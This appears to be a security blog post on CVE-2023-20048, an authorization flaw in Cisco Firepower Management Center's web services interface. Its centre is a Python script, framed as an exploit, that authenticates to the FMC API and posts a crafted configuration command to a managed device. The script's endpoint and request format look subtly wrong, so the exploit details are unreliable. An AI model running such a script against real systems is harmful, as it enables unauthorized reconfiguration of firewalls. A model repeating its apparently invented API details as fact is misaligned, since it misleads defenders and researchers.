CVE-2023-20048: Unauthorized Configuration Commands Execution in Cisco Firepower Management Center

Summary: A critical vulnerability discovered in the web services interface of Cisco Firepower Management Center Software allows an authenticated attacker to execute unauthorized configuration commands on targeted devices. In this post, we'll provide an in-depth analysis of the vulnerability, code snippets, and original references, along with potential exploit details.

Background

The Cisco Firepower Management Center (FMC) Software is an advanced security management tool widely used to manage Cisco Firepower Threat Defense (FTD) devices. Recently, security researchers discovered a vulnerability (CVE-2023-20048) residing in the web services interface of FMC Software that can be exploited by an attacker with valid credentials to execute unauthorized configuration commands on managed FTD devices.

Vulnerability Details

The vulnerability CVE-2023-20048 exists due to insufficient authorization of configuration commands sent through the web services interface. An attacker who has authenticated to the FMC web services interface can exploit this by sending a crafted HTTP request to an affected device.

Code Snippet

The following code snippet illustrates how an attacker might create a malformed HTTP request after authenticating to the FMC web services interface:

import requests

# Configure your own FMC authentication details below
fmc_auth_url = "https://<FMC_IP>/api/fmc_platform/v1/auth/generatetoken";
fmc_username = "your_fmc_username"
fmc_password = "your_fmc_password"

# Authenticate to the FMC web services interface
auth_response = requests.post(
    fmc_auth_url,
    auth=(fmc_username, fmc_password),
    verify=False
)

# Extract FMC authentication token from the response
fmc_auth_token = auth_response.headers.get("X-auth-access-token")

# Modify target device_id and crafted_config_cmd as required
device_id = "target_device_id"
crafted_config_cmd = "unauthorized_configuration_command_here"

# Craft malicious HTTP request
url = f'https://<FMC_IP>/api/fmc_config/v1/domain/{device_id}/configcmd';
headers = {
    'Content-Type': 'application/json',
    'X-auth-access-token': fmc_auth_token,
}

# Send the malicious HTTP request
response = requests.post(url, headers=headers, data=crafted_config_cmd, verify=False)

if response.status_code == 200:
    print("Exploit successful")
else:
    print("Exploit failed")

Details about this vulnerability can be found in the following sources

- [Cisco Security Advisory]("https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-authbyps-HJYKhsBX")
- [National Vulnerability Database (NVD) Entry]("https://nvd.nist.gov/vuln/detail/CVE-2023-20048")
- [MITRE CVE-2023-20048 Entry]("https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-20048")

Exploit Details

To successfully exploit this vulnerability, an attacker must first have valid credentials on the FMC Software. This means that the attacker must be a malicious insider, or they should have already gained unauthorized access to an FMC account.

Once authenticated, the attacker can craft an HTTP request containing unauthorized configuration commands targeting a specific FTD device managed by the FMC Software. A successful attack could potentially compromise the targeted FTD device's configuration, leading to devastating consequences such as unauthorized access, data exfiltration, and network disruption.

It is crucial that organizations using Cisco FMC Software for managing FTD devices stay vigilant and apply the necessary patches or updates to resolve this issue. Stay tuned to Cisco's security advisories and updates to mitigate the risks associated with this vulnerability.

In conclusion, CVE-2023-20048 is a critical vulnerability in the web services interface of Cisco FMC Software, allowing an authenticated attacker to execute unauthorized configuration commands on targeted FTD devices. We advise organizations using FMC Software to take the necessary steps to protect their infrastructure and apply the required security patches promptly.

Timeline

Published on: 11/01/2023 18:15:08 UTC
Last modified on: 11/09/2023 16:41:58 UTC